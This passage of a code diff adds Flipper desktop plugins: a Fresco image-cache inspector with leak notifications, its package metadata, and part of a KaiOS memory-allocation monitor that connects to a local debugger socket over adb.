import {Fragment} from 'react';
|
||||
import {ImagesMap} from './ImagePool';
|
||||
import {MetricType, ReduxState} from 'flipper';
|
||||
import React from 'react';
|
||||
import ImagesCacheOverview from './ImagesCacheOverview';
|
||||
import {
|
||||
FlipperPlugin,
|
||||
FlexRow,
|
||||
Text,
|
||||
DetailSidebar,
|
||||
colors,
|
||||
styled,
|
||||
isProduction,
|
||||
Notification,
|
||||
BaseAction,
|
||||
} from 'flipper';
|
||||
import ImagesSidebar from './ImagesSidebar';
|
||||
import ImagePool from './ImagePool';
|
||||
|
||||
export type ImageEventWithId = ImageEvent & {eventId: number};
|
||||
|
||||
export type PersistedState = {
|
||||
surfaceList: Set<string>;
|
||||
images: ImagesList;
|
||||
events: Array<ImageEventWithId>;
|
||||
imagesMap: ImagesMap;
|
||||
closeableReferenceLeaks: Array<AndroidCloseableReferenceLeakEvent>;
|
||||
isLeakTrackingEnabled: boolean;
|
||||
nextEventId: number;
|
||||
};
|
||||
|
||||
type PluginState = {
|
||||
selectedSurfaces: Set<string>;
|
||||
selectedImage: ImageId | null;
|
||||
isDebugOverlayEnabled: boolean;
|
||||
isAutoRefreshEnabled: boolean;
|
||||
images: ImagesList;
|
||||
coldStartFilter: boolean;
|
||||
};
|
||||
|
||||
const EmptySidebar = styled(FlexRow)({
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
color: colors.light30,
|
||||
padding: 15,
|
||||
fontSize: 16,
|
||||
});
|
||||
|
||||
export const InlineFlexRow = styled(FlexRow)({
|
||||
display: 'inline-block',
|
||||
});
|
||||
|
||||
const surfaceDefaultText = 'SELECT ALL SURFACES';
|
||||
|
||||
const debugLog = (...args: any[]) => {
|
||||
if (!isProduction()) {
|
||||
// eslint-disable-next-line no-console
|
||||
console.log(...args);
|
||||
}
|
||||
};
|
||||
|
||||
type ImagesMetaData = {
|
||||
levels: ImagesListResponse;
|
||||
events: Array<ImageEventWithId>;
|
||||
imageDataList: Array<ImageData>;
|
||||
};
|
||||
|
||||
export default class FlipperImagesPlugin extends FlipperPlugin<
|
||||
PluginState,
|
||||
BaseAction,
|
||||
PersistedState
|
||||
> {
|
||||
static defaultPersistedState: PersistedState = {
|
||||
images: [],
|
||||
events: [],
|
||||
imagesMap: {},
|
||||
surfaceList: new Set(),
|
||||
closeableReferenceLeaks: [],
|
||||
isLeakTrackingEnabled: false,
|
||||
nextEventId: 0,
|
||||
};
|
||||
|
||||
static exportPersistedState = (
|
||||
callClient: (method: string, params?: any) => Promise<any>,
|
||||
persistedState: PersistedState,
|
||||
store?: ReduxState,
|
||||
): Promise<PersistedState> => {
|
||||
const defaultPromise = Promise.resolve(persistedState);
|
||||
if (!persistedState) {
|
||||
persistedState = FlipperImagesPlugin.defaultPersistedState;
|
||||
}
|
||||
if (!store) {
|
||||
return defaultPromise;
|
||||
}
|
||||
return Promise.all([
|
||||
callClient('listImages'),
|
||||
callClient('getAllImageEventsInfo'),
|
||||
]).then(async ([responseImages, responseEvents]) => {
|
||||
const levels: ImagesList = responseImages.levels;
|
||||
const events: Array<ImageEventWithId> = responseEvents.events;
|
||||
let pluginData: PersistedState = {
|
||||
...persistedState,
|
||||
images: persistedState ? [...persistedState.images, ...levels] : levels,
|
||||
closeableReferenceLeaks:
|
||||
(persistedState && persistedState.closeableReferenceLeaks) || [],
|
||||
};
|
||||
|
||||
events.forEach((event: ImageEventWithId, index) => {
|
||||
if (!event) {
|
||||
return;
|
||||
}
|
||||
const {attribution} = event;
|
||||
if (
|
||||
attribution &&
|
||||
attribution instanceof Array &&
|
||||
attribution.length > 0
|
||||
) {
|
||||
const surface = attribution[0] ? attribution[0].trim() : undefined;
|
||||
if (surface && surface.length > 0) {
|
||||
pluginData.surfaceList.add(surface);
|
||||
}
|
||||
}
|
||||
pluginData = {
|
||||
...pluginData,
|
||||
events: [{eventId: index, ...event}, ...pluginData.events],
|
||||
};
|
||||
});
|
||||
const idSet: Set<string> = levels.reduce((acc, level: CacheInfo) => {
|
||||
level.imageIds.forEach(id => {
|
||||
acc.add(id);
|
||||
});
|
||||
return acc;
|
||||
}, new Set<string>());
|
||||
const imageDataList: Array<ImageData> = [];
|
||||
for (const id of idSet) {
|
||||
try {
|
||||
const imageData: ImageData = await callClient('getImage', {
|
||||
imageId: id,
|
||||
});
|
||||
imageDataList.push(imageData);
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
}
|
||||
}
|
||||
imageDataList.forEach((data: ImageData) => {
|
||||
const imagesMap = {...pluginData.imagesMap};
|
||||
imagesMap[data.imageId] = data;
|
||||
pluginData.imagesMap = imagesMap;
|
||||
});
|
||||
return pluginData;
|
||||
});
|
||||
};
|
||||
|
||||
static persistedStateReducer = (
|
||||
persistedState: PersistedState,
|
||||
method: string,
|
||||
data: AndroidCloseableReferenceLeakEvent | ImageEvent,
|
||||
): PersistedState => {
|
||||
if (method == 'closeable_reference_leak_event') {
|
||||
const event: AndroidCloseableReferenceLeakEvent = data as AndroidCloseableReferenceLeakEvent;
|
||||
return {
|
||||
...persistedState,
|
||||
closeableReferenceLeaks: persistedState.closeableReferenceLeaks.concat(
|
||||
event,
|
||||
),
|
||||
};
|
||||
} else if (method == 'events') {
|
||||
const event: ImageEvent = data as ImageEvent;
|
||||
debugLog('Received events', event);
|
||||
const {surfaceList} = persistedState;
|
||||
const {attribution} = event;
|
||||
if (attribution instanceof Array && attribution.length > 0) {
|
||||
const surface = attribution[0] ? attribution[0].trim() : undefined;
|
||||
if (surface && surface.length > 0) {
|
||||
surfaceList.add(surface);
|
||||
}
|
||||
}
|
||||
return {
|
||||
...persistedState,
|
||||
events: [
|
||||
{eventId: persistedState.nextEventId, ...event},
|
||||
...persistedState.events,
|
||||
],
|
||||
nextEventId: persistedState.nextEventId + 1,
|
||||
};
|
||||
}
|
||||
|
||||
return persistedState;
|
||||
};
|
||||
|
||||
static metricsReducer = (
|
||||
persistedState: PersistedState,
|
||||
): Promise<MetricType> => {
|
||||
const {events, imagesMap, closeableReferenceLeaks} = persistedState;
|
||||
|
||||
const wastedBytes = (events || []).reduce((acc, event) => {
|
||||
const {viewport, imageIds} = event;
|
||||
if (!viewport) {
|
||||
return acc;
|
||||
}
|
||||
return imageIds.reduce((innerAcc, imageID) => {
|
||||
const imageData: ImageData = imagesMap[imageID];
|
||||
if (!imageData) {
|
||||
return innerAcc;
|
||||
}
|
||||
const imageWidth: number = imageData.width;
|
||||
const imageHeight: number = imageData.height;
|
||||
const viewPortWidth: number = viewport.width;
|
||||
const viewPortHeight: number = viewport.height;
|
||||
const viewPortArea = viewPortWidth * viewPortHeight;
|
||||
const imageArea = imageWidth * imageHeight;
|
||||
return innerAcc + Math.max(0, imageArea - viewPortArea);
|
||||
}, acc);
|
||||
}, 0);
|
||||
|
||||
return Promise.resolve({
|
||||
WASTED_BYTES: wastedBytes,
|
||||
CLOSEABLE_REFERENCE_LEAKS: (closeableReferenceLeaks || []).length,
|
||||
});
|
||||
};
|
||||
|
||||
static getActiveNotifications = ({
|
||||
closeableReferenceLeaks = [],
|
||||
isLeakTrackingEnabled = false,
|
||||
}: PersistedState): Array<Notification> =>
|
||||
closeableReferenceLeaks
|
||||
.filter(_ => isLeakTrackingEnabled)
|
||||
.map((event: AndroidCloseableReferenceLeakEvent) => ({
|
||||
id: event.identityHashCode,
|
||||
title: `Leaked CloseableReference: ${event.className}`,
|
||||
message: (
|
||||
<Fragment>
|
||||
<InlineFlexRow>
|
||||
CloseableReference leaked for{' '}
|
||||
<Text code={true}>{event.className}</Text>
|
||||
(identity hashcode: {event.identityHashCode}).
|
||||
</InlineFlexRow>
|
||||
<InlineFlexRow>
|
||||
<Text bold={true}>Stacktrace:</Text>
|
||||
</InlineFlexRow>
|
||||
<InlineFlexRow>
|
||||
<Text code={true}>{event.stacktrace || '<unavailable>'}</Text>
|
||||
</InlineFlexRow>
|
||||
</Fragment>
|
||||
),
|
||||
severity: 'error',
|
||||
category: 'closeablereference_leak',
|
||||
}));
|
||||
|
||||
state: PluginState = {
|
||||
selectedSurfaces: new Set([surfaceDefaultText]),
|
||||
selectedImage: null,
|
||||
isDebugOverlayEnabled: false,
|
||||
isAutoRefreshEnabled: false,
|
||||
images: [],
|
||||
coldStartFilter: false,
|
||||
};
|
||||
imagePool: ImagePool | undefined;
|
||||
nextEventId: number = 1;
|
||||
|
||||
filterImages = (
|
||||
images: ImagesList,
|
||||
events: Array<ImageEventWithId>,
|
||||
surfaces: Set<string>,
|
||||
coldStart: boolean,
|
||||
): ImagesList => {
|
||||
if (!surfaces || (surfaces.has(surfaceDefaultText) && !coldStart)) {
|
||||
return images;
|
||||
}
|
||||
|
||||
const imageList = images.map((image: CacheInfo) => {
|
||||
const imageIdList = image.imageIds.filter(imageID => {
|
||||
const filteredEvents = events.filter((event: ImageEventWithId) => {
|
||||
const output =
|
||||
event.attribution &&
|
||||
event.attribution.length > 0 &&
|
||||
event.imageIds &&
|
||||
event.imageIds.includes(imageID);
|
||||
|
||||
if (surfaces.has(surfaceDefaultText)) {
|
||||
return output && coldStart && event.coldStart;
|
||||
}
|
||||
|
||||
return (
|
||||
(!coldStart || (coldStart && event.coldStart)) &&
|
||||
output &&
|
||||
surfaces.has(event.attribution[0])
|
||||
);
|
||||
});
|
||||
return filteredEvents.length > 0;
|
||||
});
|
||||
return {...image, imageIds: imageIdList};
|
||||
});
|
||||
return imageList;
|
||||
};
|
||||
|
||||
init() {
|
||||
debugLog('init()');
|
||||
this.updateCaches('init');
|
||||
this.client.subscribe(
|
||||
'debug_overlay_event',
|
||||
(event: FrescoDebugOverlayEvent) => {
|
||||
this.setState({isDebugOverlayEnabled: event.enabled});
|
||||
},
|
||||
);
|
||||
this.imagePool = new ImagePool(this.getImage, (images: ImagesMap) =>
|
||||
this.props.setPersistedState({imagesMap: images}),
|
||||
);
|
||||
|
||||
const images = this.filterImages(
|
||||
this.props.persistedState.images,
|
||||
this.props.persistedState.events,
|
||||
this.state.selectedSurfaces,
|
||||
this.state.coldStartFilter,
|
||||
);
|
||||
|
||||
this.setState({images});
|
||||
}
|
||||
|
||||
teardown() {
|
||||
this.imagePool ? this.imagePool.clear() : undefined;
|
||||
}
|
||||
|
||||
updateImagesOnUI = (
|
||||
images: ImagesList,
|
||||
surfaces: Set<string>,
|
||||
coldStart: boolean,
|
||||
) => {
|
||||
const filteredImages = this.filterImages(
|
||||
images,
|
||||
this.props.persistedState.events,
|
||||
surfaces,
|
||||
coldStart,
|
||||
);
|
||||
|
||||
this.setState({
|
||||
selectedSurfaces: surfaces,
|
||||
images: filteredImages,
|
||||
coldStartFilter: coldStart,
|
||||
});
|
||||
};
|
||||
updateCaches = (reason: string) => {
|
||||
debugLog('Requesting images list (reason=' + reason + ')');
|
||||
this.client.call('listImages').then((response: ImagesListResponse) => {
|
||||
response.levels.forEach(data =>
|
||||
this.imagePool ? this.imagePool.fetchImages(data.imageIds) : undefined,
|
||||
);
|
||||
this.props.setPersistedState({images: response.levels});
|
||||
this.updateImagesOnUI(
|
||||
this.props.persistedState.images,
|
||||
this.state.selectedSurfaces,
|
||||
this.state.coldStartFilter,
|
||||
);
|
||||
});
|
||||
};
|
||||
|
||||
onClear = (type: string) => {
|
||||
this.client.call('clear', {type});
|
||||
setTimeout(() => this.updateCaches('onClear'), 1000);
|
||||
};
|
||||
|
||||
onTrimMemory = () => {
|
||||
this.client.call('trimMemory', {});
|
||||
setTimeout(() => this.updateCaches('onTrimMemory'), 1000);
|
||||
};
|
||||
|
||||
onEnableDebugOverlay = (enabled: boolean) => {
|
||||
this.client.call('enableDebugOverlay', {enabled});
|
||||
};
|
||||
|
||||
onEnableAutoRefresh = (enabled: boolean) => {
|
||||
this.setState({isAutoRefreshEnabled: enabled});
|
||||
if (enabled) {
|
||||
// Delay the call just enough to allow the state change to complete.
|
||||
setTimeout(() => this.onAutoRefresh());
|
||||
}
|
||||
};
|
||||
|
||||
onAutoRefresh = () => {
|
||||
this.updateCaches('auto-refresh');
|
||||
if (this.state.isAutoRefreshEnabled) {
|
||||
setTimeout(() => this.onAutoRefresh(), 1000);
|
||||
}
|
||||
};
|
||||
|
||||
getImage = (imageId: string) => {
|
||||
debugLog('<- getImage requested for ' + imageId);
|
||||
this.client.call('getImage', {imageId}).then((image: ImageData) => {
|
||||
debugLog('-> getImage ' + imageId + ' returned');
|
||||
this.imagePool ? this.imagePool._fetchCompleted(image) : undefined;
|
||||
});
|
||||
};
|
||||
|
||||
onImageSelected = (selectedImage: ImageId) => this.setState({selectedImage});
|
||||
|
||||
renderSidebar = () => {
|
||||
const {selectedImage} = this.state;
|
||||
|
||||
if (selectedImage == null) {
|
||||
return (
|
||||
<EmptySidebar grow={true}>
|
||||
<Text align="center">
|
||||
Select an image to see the events associated with it.
|
||||
</Text>
|
||||
</EmptySidebar>
|
||||
);
|
||||
}
|
||||
|
||||
const maybeImage = this.props.persistedState.imagesMap[selectedImage];
|
||||
const events = this.props.persistedState.events.filter(e =>
|
||||
e.imageIds.includes(selectedImage),
|
||||
);
|
||||
return <ImagesSidebar image={maybeImage} events={events} />;
|
||||
};
|
||||
|
||||
onSurfaceChange = (surfaces: Set<string>) => {
|
||||
this.updateImagesOnUI(
|
||||
this.props.persistedState.images,
|
||||
surfaces,
|
||||
this.state.coldStartFilter,
|
||||
);
|
||||
};
|
||||
|
||||
onColdStartChange = (checked: boolean) => {
|
||||
this.updateImagesOnUI(
|
||||
this.props.persistedState.images,
|
||||
this.state.selectedSurfaces,
|
||||
checked,
|
||||
);
|
||||
};
|
||||
|
||||
onTrackLeaks = (checked: boolean) => {
|
||||
this.props.logger.track('usage', 'fresco:onTrackLeaks', {enabled: checked});
|
||||
this.props.setPersistedState({
|
||||
isLeakTrackingEnabled: checked,
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
const options = [...this.props.persistedState.surfaceList].reduce(
|
||||
(acc, item) => {
|
||||
return [...acc, item];
|
||||
},
|
||||
[surfaceDefaultText],
|
||||
);
|
||||
let {selectedSurfaces} = this.state;
|
||||
|
||||
if (selectedSurfaces.has(surfaceDefaultText)) {
|
||||
selectedSurfaces = new Set(options);
|
||||
}
|
||||
|
||||
return (
|
||||
<React.Fragment>
|
||||
<ImagesCacheOverview
|
||||
allSurfacesOption={surfaceDefaultText}
|
||||
surfaceOptions={new Set(options)}
|
||||
selectedSurfaces={selectedSurfaces}
|
||||
onChangeSurface={this.onSurfaceChange}
|
||||
coldStartFilter={this.state.coldStartFilter}
|
||||
onColdStartChange={this.onColdStartChange}
|
||||
images={this.state.images}
|
||||
onClear={this.onClear}
|
||||
onTrimMemory={this.onTrimMemory}
|
||||
onRefresh={() => this.updateCaches('refresh')}
|
||||
onEnableDebugOverlay={this.onEnableDebugOverlay}
|
||||
onEnableAutoRefresh={this.onEnableAutoRefresh}
|
||||
isDebugOverlayEnabled={this.state.isDebugOverlayEnabled}
|
||||
isAutoRefreshEnabled={this.state.isAutoRefreshEnabled}
|
||||
onImageSelected={this.onImageSelected}
|
||||
imagesMap={this.props.persistedState.imagesMap}
|
||||
events={this.props.persistedState.events}
|
||||
isLeakTrackingEnabled={
|
||||
this.props.persistedState.isLeakTrackingEnabled
|
||||
}
|
||||
onTrackLeaks={this.onTrackLeaks}
|
||||
/>
|
||||
<DetailSidebar>{this.renderSidebar()}</DetailSidebar>
|
||||
</React.Fragment>
|
||||
);
|
||||
}
|
||||
}
|
||||
12
desktop/plugins/fresco/package.json
Normal file
12
desktop/plugins/fresco/package.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"name": "Fresco",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": ["flipper-plugin"],
|
||||
"title": "Images",
|
||||
"icon": "profile",
|
||||
"bugs": {
|
||||
"email": "oncall+fresco@xmail.facebook.com"
|
||||
}
|
||||
}
|
||||
4
desktop/plugins/fresco/yarn.lock
Normal file
4
desktop/plugins/fresco/yarn.lock
Normal file
@@ -0,0 +1,4 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
442
desktop/plugins/kaios-allocations/index.tsx
Normal file
442
desktop/plugins/kaios-allocations/index.tsx
Normal file
@@ -0,0 +1,442 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import React from 'react';
|
||||
import {FlipperDevicePlugin, Device, KaiOSDevice} from 'flipper';
|
||||
|
||||
import {
|
||||
Button,
|
||||
Toolbar,
|
||||
ManagedTable,
|
||||
Panel,
|
||||
Label,
|
||||
Input,
|
||||
Select,
|
||||
} from 'flipper';
|
||||
|
||||
import {sleep} from 'flipper';
|
||||
|
||||
import util from 'util';
|
||||
import {exec} from 'promisify-child-process';
|
||||
|
||||
import FirefoxClient from 'firefox-client';
|
||||
import BaseClientMethods from 'firefox-client/lib/client-methods';
|
||||
import extend from 'firefox-client/lib/extend';
|
||||
|
||||
// This uses legacy `extend` from `firefox-client`, since this seems to be what the implementation expects
|
||||
// It's probably possible to rewrite this in a modern way and properly type it, but for now leaving this as it is
|
||||
const ClientMethods: any = extend(BaseClientMethods, {
|
||||
initialize: function(client: any, actor: any) {
|
||||
this.client = client;
|
||||
this.actor = actor;
|
||||
|
||||
this.cb = function(this: typeof ClientMethods, message: any) {
|
||||
if (message.from === this.actor) {
|
||||
this.emit(message.type, message);
|
||||
}
|
||||
}.bind(this);
|
||||
|
||||
this.client.on('message', this.cb);
|
||||
},
|
||||
|
||||
disconnect: function() {
|
||||
this.client.removeListener('message', this.cb);
|
||||
},
|
||||
});
|
||||
|
||||
function Memory(this: typeof ClientMethods, client: any, actor: any): any {
|
||||
this.initialize(client, actor);
|
||||
}
|
||||
|
||||
// Repetitive, it is probably better to refactor this
|
||||
// to use API like `runCommand(commandName, params): Promise`
|
||||
Memory.prototype = extend(ClientMethods, {
|
||||
attach: function(cb: any) {
|
||||
this.request('attach', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
getState: function(cb: any) {
|
||||
this.request('getState', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
takeCensus: function(cb: any) {
|
||||
this.request('takeCensus', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
getAllocations: function(cb: any) {
|
||||
this.request('getAllocations', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
startRecordingAllocations: function(options: any, cb: any) {
|
||||
this.request('startRecordingAllocations', {options}, function(
|
||||
err: any,
|
||||
resp: any,
|
||||
) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
stopRecordingAllocations: function(cb: any) {
|
||||
this.request('stopRecordingAllocations', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
measure: function(cb: any) {
|
||||
this.request('measure', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
|
||||
getAllocationsSettings: function(cb: any) {
|
||||
this.request('getAllocationsSettings', function(err: any, resp: any) {
|
||||
cb(err, resp);
|
||||
});
|
||||
},
|
||||
});
|
||||
|
||||
const ffPromisify = (o: {[key: string]: any}, m: string) =>
|
||||
util.promisify(o[m].bind(o));
|
||||
|
||||
const ColumnSizes = {
|
||||
timestamp: 'flex',
|
||||
freeMem: 'flex',
|
||||
};
|
||||
|
||||
const Columns = {
|
||||
timestamp: {
|
||||
value: 'time',
|
||||
resizable: true,
|
||||
},
|
||||
allocationSize: {
|
||||
value: 'Allocation bytes',
|
||||
resizable: true,
|
||||
},
|
||||
functionName: {
|
||||
value: 'Function',
|
||||
resizable: true,
|
||||
},
|
||||
};
|
||||
|
||||
type Allocation = {
|
||||
timestamp: number;
|
||||
allocationSize: number;
|
||||
functionName: string;
|
||||
};
|
||||
|
||||
type State = {
|
||||
apps: {[key: string]: string};
|
||||
runningAppName: null | string;
|
||||
allocationData: Array<Allocation>;
|
||||
totalAllocations: number;
|
||||
totalAllocatedBytes: number;
|
||||
monitoring: boolean;
|
||||
allocationsBySize: {[key: string]: number};
|
||||
minAllocationSizeInTable: number;
|
||||
};
|
||||
|
||||
const LOCALSTORAGE_APP_NAME_KEY = '__KAIOS_ALLOCATIONS_PLUGIN_CACHED_APP_NAME';
|
||||
const LOCALSTORAGE_MIN_ALLOCATION_SIZE_KEY =
|
||||
'__KAIOS_ALLOCATIONS_PLUGIN_MIN_ALLOCATION_SIZE';
|
||||
const DEFAULT_MIN_ALLOCATION_SIZE = 128;
|
||||
|
||||
function getMinAllocationSizeFromLocalStorage(): number {
|
||||
const ls = localStorage.getItem(LOCALSTORAGE_MIN_ALLOCATION_SIZE_KEY);
|
||||
if (!ls) {
|
||||
return DEFAULT_MIN_ALLOCATION_SIZE;
|
||||
}
|
||||
const parsed = parseInt(ls, 10);
|
||||
return !isNaN(parsed) ? parsed : DEFAULT_MIN_ALLOCATION_SIZE;
|
||||
}
|
||||
|
||||
export default class AllocationsPlugin extends FlipperDevicePlugin<
|
||||
State,
|
||||
any,
|
||||
any
|
||||
> {
|
||||
currentApp: any = null;
|
||||
memory: any = null;
|
||||
client: any = null;
|
||||
webApps: any = null;
|
||||
|
||||
state: State = {
|
||||
apps: {},
|
||||
runningAppName: null,
|
||||
monitoring: false,
|
||||
allocationData: [],
|
||||
totalAllocations: 0,
|
||||
totalAllocatedBytes: 0,
|
||||
allocationsBySize: {},
|
||||
minAllocationSizeInTable: getMinAllocationSizeFromLocalStorage(),
|
||||
};
|
||||
|
||||
static supportsDevice(device: Device) {
|
||||
return device instanceof KaiOSDevice;
|
||||
}
|
||||
|
||||
onStartMonitor = async () => {
|
||||
if (this.state.monitoring) {
|
||||
return;
|
||||
}
|
||||
// TODO: try to reconnect in case of failure
|
||||
await ffPromisify(
|
||||
this.memory,
|
||||
'startRecordingAllocations',
|
||||
)({
|
||||
probability: 1.0,
|
||||
maxLogLength: 20000,
|
||||
drainAllocationsTimeout: 1500,
|
||||
trackingAllocationSites: true,
|
||||
});
|
||||
this.setState({monitoring: true});
|
||||
};
|
||||
|
||||
onStopMonitor = async () => {
|
||||
if (!this.state.monitoring) {
|
||||
return;
|
||||
}
|
||||
this.tearDownApp();
|
||||
this.setState({monitoring: false});
|
||||
};
|
||||
|
||||
// reloads the list of apps every two seconds
|
||||
reloadAppListWhenNotMonitoring = async () => {
|
||||
while (true) {
|
||||
if (!this.state.monitoring) {
|
||||
try {
|
||||
await this.processListOfApps();
|
||||
} catch (e) {
|
||||
console.error('Exception, attempting to reconnect', e);
|
||||
await this.connectToDebugApi();
|
||||
// processing the list of the apps is going to be automatically retried now
|
||||
}
|
||||
}
|
||||
|
||||
await sleep(2000);
|
||||
}
|
||||
};
|
||||
|
||||
async connectToDebugApi(): Promise<void> {
|
||||
this.client = new FirefoxClient({log: false});
|
||||
await ffPromisify(this.client, 'connect')(6000, 'localhost');
|
||||
this.webApps = await ffPromisify(this.client, 'getWebapps')();
|
||||
}
|
||||
|
||||
async processListOfApps(): Promise<void> {
|
||||
const runningAppUrls = await ffPromisify(this.webApps, 'listRunningApps')();
|
||||
|
||||
const lastUsedAppName = localStorage.getItem(LOCALSTORAGE_APP_NAME_KEY);
|
||||
let runningAppName = null;
|
||||
const appTitleToUrl: {[key: string]: string} = {};
|
||||
for (const runningAppUrl of runningAppUrls) {
|
||||
const app = await ffPromisify(this.webApps, 'getApp')(runningAppUrl);
|
||||
appTitleToUrl[app.title] = runningAppUrl;
|
||||
if (app.title === lastUsedAppName) {
|
||||
runningAppName = app.title;
|
||||
}
|
||||
}
|
||||
|
||||
if (runningAppName && this.state.runningAppName !== runningAppName) {
|
||||
this.setUpApp(appTitleToUrl[runningAppName]);
|
||||
}
|
||||
|
||||
this.setState({
|
||||
apps: appTitleToUrl,
|
||||
runningAppName,
|
||||
});
|
||||
}
|
||||
|
||||
async init() {
|
||||
await exec(
|
||||
'adb forward tcp:6000 localfilesystem:/data/local/debugger-socket',
|
||||
);
|
||||
await this.connectToDebugApi();
|
||||
await this.processListOfApps();
|
||||
// no await because reloading runs in the background
|
||||
this.reloadAppListWhenNotMonitoring();
|
||||
}
|
||||
|
||||
async teardown() {
|
||||
if (this.state.monitoring) {
|
||||
await this.onStopMonitor();
|
||||
}
|
||||
}
|
||||
|
||||
async setUpApp(appUrl: string) {
|
||||
this.currentApp = await ffPromisify(this.webApps, 'getApp')(appUrl);
|
||||
if (!this.currentApp) {
|
||||
// TODO: notify user?
|
||||
throw new Error('Cannot connect to app');
|
||||
}
|
||||
|
||||
const {
|
||||
tab: {memoryActor},
|
||||
} = this.currentApp;
|
||||
this.memory = new (Memory as any)(this.currentApp.client, memoryActor);
|
||||
await ffPromisify(this.memory, 'attach')();
|
||||
this.currentApp.client.on('message', this.processAllocationsMsg);
|
||||
}
|
||||
|
||||
async tearDownApp() {
|
||||
if (!this.currentApp) {
|
||||
return;
|
||||
}
|
||||
this.currentApp.client.off('message', this.processAllocationsMsg);
|
||||
await ffPromisify(this.memory, 'stopRecordingAllocations')();
|
||||
this.currentApp = null;
|
||||
this.memory = null;
|
||||
}
|
||||
|
||||
processAllocationsMsg = (msg: any) => {
|
||||
if (msg.type !== 'allocations') {
|
||||
return;
|
||||
}
|
||||
this.updateAllocations(msg.data);
|
||||
};
|
||||
|
||||
updateAllocations = (data: any) => {
|
||||
const {allocations, allocationsTimestamps, allocationSizes, frames} = data;
|
||||
const newAllocationData = [...this.state.allocationData];
|
||||
let newTotalAllocations = this.state.totalAllocations;
|
||||
let newTotalAllocatedBytes = this.state.totalAllocatedBytes;
|
||||
const newAllocationsBySize = {...this.state.allocationsBySize};
|
||||
for (let i = 0; i < allocations.length; ++i) {
|
||||
const frameId = allocations[i];
|
||||
const timestamp = allocationsTimestamps[i];
|
||||
const allocationSize = allocationSizes[i];
|
||||
const functionName = frames[frameId]
|
||||
? frames[frameId].functionDisplayName
|
||||
: null;
|
||||
if (allocationSize >= this.state.minAllocationSizeInTable) {
|
||||
newAllocationData.push({timestamp, allocationSize, functionName});
|
||||
}
|
||||
newAllocationsBySize[allocationSize] =
|
||||
(newAllocationsBySize[allocationSize] || 0) + 1;
|
||||
newTotalAllocations++;
|
||||
newTotalAllocatedBytes += allocationSize;
|
||||
}
|
||||
this.setState({
|
||||
allocationData: newAllocationData,
|
||||
totalAllocations: newTotalAllocations,
|
||||
totalAllocatedBytes: newTotalAllocatedBytes,
|
||||
allocationsBySize: newAllocationsBySize,
|
||||
});
|
||||
};
|
||||
|
||||
buildMemRows = () => {
|
||||
return this.state.allocationData.map(info => {
|
||||
return {
|
||||
columns: {
|
||||
timestamp: {
|
||||
value: info.timestamp,
|
||||
filterValue: info.timestamp,
|
||||
},
|
||||
allocationSize: {
|
||||
value: info.allocationSize,
|
||||
filterValue: info.allocationSize,
|
||||
},
|
||||
functionName: {
|
||||
value: info.functionName,
|
||||
filterValue: info.functionName,
|
||||
},
|
||||
},
|
||||
key: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
|
||||
copyText: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
|
||||
filterValue: `${info.timestamp} ${info.allocationSize} ${info.functionName}`,
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
onAppChange = (newAppTitle: string) => {
|
||||
localStorage[LOCALSTORAGE_APP_NAME_KEY] = newAppTitle;
|
||||
this.setState({runningAppName: newAppTitle});
|
||||
this.tearDownApp();
|
||||
this.setUpApp(this.state.apps[newAppTitle]);
|
||||
};
|
||||
|
||||
onMinAllocationSizeChange = (event: any) => {
|
||||
const newMinAllocationSize = event.target.value;
|
||||
this.setState({
|
||||
minAllocationSizeInTable: newMinAllocationSize,
|
||||
});
|
||||
};
|
||||
|
||||
render() {
|
||||
const appTitlesForSelect: {[key: string]: string} = {};
|
||||
|
||||
for (const [appTitle] of Object.entries(this.state.apps)) {
|
||||
appTitlesForSelect[appTitle] = appTitle;
|
||||
}
|
||||
|
||||
return (
|
||||
<React.Fragment>
|
||||
<Panel
|
||||
padded={false}
|
||||
heading="Page allocations"
|
||||
floating={false}
|
||||
collapsable={false}
|
||||
grow={true}>
|
||||
<Toolbar position="top">
|
||||
<Select
|
||||
options={appTitlesForSelect}
|
||||
onChangeWithKey={this.onAppChange}
|
||||
selected={this.state.runningAppName}
|
||||
disabled={this.state.monitoring}
|
||||
/>
|
||||
|
||||
{this.state.monitoring ? (
|
||||
<Button onClick={this.onStopMonitor} icon="pause">
|
||||
Pause
|
||||
</Button>
|
||||
) : (
|
||||
<Button onClick={this.onStartMonitor} icon="play">
|
||||
Start
|
||||
</Button>
|
||||
)}
|
||||
<Label>
|
||||
Min allocation size in bytes{' '}
|
||||
<Input
|
||||
placeholder="min bytes"
|
||||
value={this.state.minAllocationSizeInTable}
|
||||
type="number"
|
||||
onChange={this.onMinAllocationSizeChange}
|
||||
disabled={this.state.monitoring}
|
||||
/>
|
||||
</Label>
|
||||
</Toolbar>
|
||||
|
||||
<Label>
|
||||
Total number of allocations: {this.state.totalAllocations}
|
||||
</Label>
|
||||
<br />
|
||||
<Label>
|
||||
Total MBs allocated:{' '}
|
||||
{(this.state.totalAllocatedBytes / 1024 / 1024).toFixed(3)}
|
||||
</Label>
|
||||
<ManagedTable
|
||||
multiline={true}
|
||||
columnSizes={ColumnSizes}
|
||||
columns={Columns}
|
||||
floating={false}
|
||||
zebra={true}
|
||||
